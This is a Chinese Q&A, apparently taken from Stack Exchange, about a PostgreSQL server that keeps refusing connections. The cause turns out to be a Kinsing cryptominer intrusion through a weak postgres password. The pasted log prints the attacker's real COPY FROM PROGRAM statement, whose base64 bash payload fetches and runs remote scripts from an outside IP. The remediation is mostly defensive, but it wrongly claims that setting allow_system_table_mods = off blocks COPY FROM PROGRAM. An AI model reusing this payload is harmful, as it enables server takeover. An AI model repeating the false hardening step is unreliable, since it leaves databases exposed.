EC2/DO实例中PostgreSQL每2天随机断连问题求助

问题现象 #

在EC2（Debian/Ubuntu系统）和Digital Ocean Droplet上部署PostgreSQL后，每隔约2天出现连接拒绝错误：

psql postgres://postgres:postgres@xx.xx.xx/table-name
psql: error: connection to server at "xx.xx.xx", port 5432 failed: Connection refused
    Is the server running on that host and accepting TCP/IP connections?

重启PostgreSQL可临时恢复服务，但2天后会再次出现相同故障。

部署操作步骤 #

• 创建EC2实例
• 通过SSH登录实例

  ssh root@XXX.XX.XX.XX
  

• 更新系统包

  sudo apt-get update && sudo apt-get upgrade
  

• 安装PostgreSQL

  sudo apt install postgresql postgresql-contrib
  

• 创建新数据库

  sudo -u postgres createdb mydatabase
  

• 登录PostgreSQL

  sudo -i -u postgres psql
  

• 设置postgres用户密码

  ALTER USER postgres WITH PASSWORD 'xxx';
  

• 允许所有IPv4地址连接
  编辑配置文件：

  sudo vim /etc/postgresql/[version]/main/pg_hba.conf
  

  修改内容：

  # 原配置
  host     all     all     127.0.0.1/32    scram-sha-256
  # 修改后
  host     all     all     0.0.0.0/0       scram-sha-256
  

• 修改PostgreSQL监听地址
  编辑配置文件：

  sudo vim /etc/postgresql/[version]/main/postgresql.conf
  

  修改内容：

  # 原配置
  #listen_addresses = '127.0.0.1/32'
  # 修改后
  listen_addresses = '*'
  

• 重启PostgreSQL

  sudo service postgresql restart
  

• 检查PostgreSQL状态

  sudo service postgresql status
  

• 连接数据库

  psql postgres://postgres:xxx@XXX.XX.XX.XX/mydatabase
  

实例内存信息 #

admin@xxxx:~$ free
               total        used        free      shared  buff/cache   available
Mem:          997696      269244      195452       13052      704776      728452
Swap:              0           0           0

PostgreSQL系统日志分析 #

日志中存在恶意SQL执行记录，直接导致PostgreSQL服务被强制关闭：

827: crontab: command not found
bash: line 828: crontab: command not found
bash: line 828: crontab: command not found
2023-09-05 10:01:06.381 UTC [36965] postgres@xxx FATAL:  terminating connection due to administrator command
2023-09-05 10:01:06.381 UTC [36965] postgres@xxx CONTEXT:  COPY lhoimykj, line 1: "/tmp/kinsing"
2023-09-05 10:01:06.381 UTC [36965] postgres@xxx STATEMENT:  DROP TABLE IF EXISTS LhoiMYKj;CREATE TABLE LhoiMYKj(cmd_output text);COPY LhoiMYKj FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE5NC4zOC4yMS4yNS9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gMTk0LjM4LjIxLjI1L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vMTk0LjM4LjIxLjI1L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM LhoiMYKj;DROP TABLE IF EXISTS LhoiMYKj;
2023-09-05 10:01:06.389 UTC [6462] LOG:  shutting down
2023-09-05 10:01:06.391 UTC [6462] LOG:  checkpoint starting: shutdown immediate
2023-09-05 10:01:06.406 UTC [6462] LOG:  checkpoint complete: wrote 30 buffers (0.2%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.004 s, sync=0.004 s, total=0.018 s; sync files=24, longest=0.003 s, average=0.001 s; distance=123 kB, estimate=3852 kB
2023-09-05 10:01:06.413 UTC [6461] LOG:  database system is shut down
2023-09-05 15:56:02.498 UTC [39462] LOG:  starting PostgreSQL 15.3 (Debian 15.3-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
2023-09-05 15:56:02.499 UTC [39462] LOG:  listening on IPv4 address "0.0.0.0", port 5432
2023-09-05 15:56:02.499 UTC [39462] LOG:  listening on IPv6 address "::", port 5432
2023-09-05 15:56:02.501 UTC [39462] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2023-09-05 15:56:02.518 UTC [39465] LOG:  database system was shut down at 2023-09-05 10:01:06 UTC
2023-09-05 15:56:02.530 UTC [39462] LOG:  database system is ready to accept connections

问题根源 #

你的服务器已遭恶意入侵：

1. 攻击者利用postgres账户的弱密码，执行了包含COPY ... FROM PROGRAM的恶意SQL语句，触发base64解码后的bash脚本下载并运行挖矿病毒kinsing。
2. 恶意脚本执行过程中强制关闭了PostgreSQL服务，导致连接失败。
3. 攻击者仍持有postgres账户权限，会定期发起攻击，导致服务反复崩溃。

解决措施 #

1. 紧急修复账户安全 #

• 重置postgres用户为强随机密码：

  ALTER USER postgres WITH PASSWORD '强随机密码';
  

• 限制远程访问范围：修改pg_hba.conf，仅允许可信IP段连接，替换0.0.0.0/0为你的本地IP或特定业务IP段：

  host     all     all     192.168.1.0/24    scram-sha-256
  

  若无需远程连接，直接改回127.0.0.1/32，通过SSH隧道访问数据库。

2. 清除恶意程序 #

• 删除挖矿病毒文件：

  sudo rm -rf /tmp/kinsing
  

• 查杀恶意进程：

  ps aux | grep -E 'kinsing|kdevtmpfsi'
  sudo kill -9 查到的进程ID
  

• 清理恶意定时任务：

  sudo crontab -u postgres -l  # 查看postgres用户定时任务
  sudo crontab -u postgres -r  # 清空postgres用户定时任务
  sudo crontab -l  # 检查root用户定时任务，删除可疑项
  

3. 加固服务器与数据库 #

• 防火墙限制端口：仅开放SSH（22）和PostgreSQL（5432，仅允许可信IP）。
• 升级系统与软件：修复已知漏洞：

  sudo apt update && sudo apt full-upgrade
  

• 禁用危险功能：若无需使用COPY ... FROM PROGRAM，在postgresql.conf中添加：

  allow_system_table_mods = off
  

4. 配置服务自动恢复 #

设置PostgreSQL自动重启，避免服务中断后无法自动恢复：

sudo systemctl enable postgresql
sudo systemctl edit postgresql

添加以下内容：

[Service]
Restart=always
RestartSec=5

保存后生效：

sudo systemctl daemon-reload
sudo systemctl restart postgresql

内容的提问来源于stack exchange，提问作者Augustin